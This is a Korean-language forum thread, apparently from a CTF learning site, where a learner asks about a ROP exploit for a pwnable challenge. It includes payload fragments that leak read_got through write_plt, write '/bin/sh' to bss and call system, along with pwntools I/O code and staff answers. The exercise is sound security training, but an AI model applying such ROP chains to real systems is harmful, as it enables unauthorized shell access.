BSS 영역에 Write를 먼저 쓰고, Read 함수 주소를 읽으면 잘 안되네요.

ROP를 이해하는데 생각보다 시간이 많이 걸렸네요..

  1. Buffer 의 크기가 0x40으로 설정을 했는데, compiler에 의해서 0x44 사이즈로 변경이 되는지요?
    esp 를 bsp에서 0x40만큼 sub 하고 나서, lea에서 ebp - 0x44 만큼 내려가는 이유가 있을까요?
    0x080485dd <+4>: sub esp,0x40
    0x080485e0 <+7>: lea edx,[ebp-0x44]

  2. shell코드("/bin/sh")를 bss 영역에 먼저 쓰고, write 함수를 사용하여 read_got를 읽도록 payload를 짰는데,
    이 경우에는 recv 함수에서 timeout이 발생됩니다.
    그런데, read_got 주소를 먼저 읽고 나서, 쉘코드를 쓰면 recv 에서 받아지는데 차이가 있을까요?
    아무래도 쉘코드의 정보때문에 그런것 같은데.. 어렵네요.

read_got 주소를 읽는다.

payload += p32(write_plt)
payload += p32(pop3ret)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)
...

/bin/sh 을 bss 영역에 쓴다

payload += p32(read_plt)
payload += p32(pop3ret)
payload += p32(0)
payload += p32(bss)
payload += p32(8)

#pwnable
작성자 정보
답변 4
avatar
Dreamhack
대표 업적 없음

안녕하세요! 답변드리겠습니다.
1. 은 컴파일러에서 결정하는 부분으로, 최적화 혹은 다른 변수때문일 수 있습니다.
다른 변수라하면 buf 이외의 변수라거나, c code에서 나타나 있지 않는 canary 같은 경우가 원인일 수 있습니다 (이 문제에 경우엔 canary가 없지만 말입니다)
결국에는 사용자가 보기엔 code 흐름과 다르지 않게 진행되어야 하면서도 동작을 문제 없이 수행하기 위해서 이러한 동작이 있을 수 있습니다.

지금 문제의 경우에는 esp는 0x40을 내렸지만, 이게 ebp 기준으로 보면 0x40 이 아니라 0x44 만큼 내려가야 현재 esp 와 동일한 메모리주소를 가리키기 때문인 것으로 보입니다. 그 이유는 push edi 때문인데, 이는 레지스터값을 저장하기위해 컴파일러가 만든 루틴 같습니다!

2. 는 지금 보여주신 payload 만으로는 원인을 파악하기가 어렵네요.
/bin/sh 를 bss 에 쓰기 위해 페이로드를 전송하는 부분 (send 함수) 위아래로 약간 도 추가해주시면 감사하겠습니다!!
(첫번째로 send를 한 이후에 두번째 send 하는 부분과 recv 하는 부분의 코드를 보여주시면 될 것같습니다)

2022.04.04. 16:53
avatar
Dreamhack
대표 업적 없음
p.sendline(payload) 
dummy = p.recv(0x40) 
read_address = u32(p.recv(4)) # system_address = u32(p.recvuntil('system')) 
system_address = read_address - offset 
p.sendline('/bin/sh') 
p.sendline(p32(system_address))

라고 적어주셨는데,
p.sendline(payload)

p.send(payload.ljust(0x400, "\x00")) 으로 변경한 후에도 문제가 여전히 나타나는지 체크해주시면 감사하겠습니다

2022.04.04. 17:10
avatar
Dreamhack
대표 업적 없음

read_got 주소 읽기를 먼저할때는
recv 후에 send(binsh) 가 되어야 하구요
순서를 반대로했을때는
send(binsh) 후에 recv 를 해야합니다!

근데 send(binsh)를 먼저 하는경우엔
맨처음 read(0, buf, 0x400) 에 같이 들어가버리지않게
p.send(payload.ljust(0x400, "\x00")) 을 해주는게 확실합니다

bss 영역에 쓰기를 먼저하면
프로그램은 사용자가 /bin/sh 라는 스트링을 보내주길 기다리고 있는상태가 되고
여기서 이걸 안보내주고 recv 를 먼저하면 timeout 이 발생하는게 정상적인 동작입니다!

2022.04.04. 17:37
동키
대표 업적 없음

한가지 더 질문이 있습니다.
read_got을 읽어올때, recv로 address만 들어올 것으로 생각했었는데, 0x40 바이트가 들어오는데 이유를 알수 있을까요?
read(0, buf, 0x400);에서 0x400 개를 읽게 되니까 payload가 들어가고,이때 버퍼 및 주소가 overwrite 되었고,
bss에 "/bin/sh" 을 입력하고나서, 다시 함수로 돌아와서 write로 read_got를 읽었기 때문에 주소값이 4바이트만 넘어올줄 알았는데,40 바이트가 들어오고, 그리고 4바이트 주소가 들어오네요.
[DEBUG] Sent 0x8 bytes:
b'/bin/sh\n'
[DEBUG] Received 0x40 bytes:
65 * 0x40
[DEBUG] Received 0x4 bytes:
00000000 50 b3 ea f7 │P···│
00000004

그래서, 더미로 40 바이트를 읽어오도록 했는데, 어떤 동작에서 발생된건지 알수 있을까요?

2022.04.04. 17:55
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기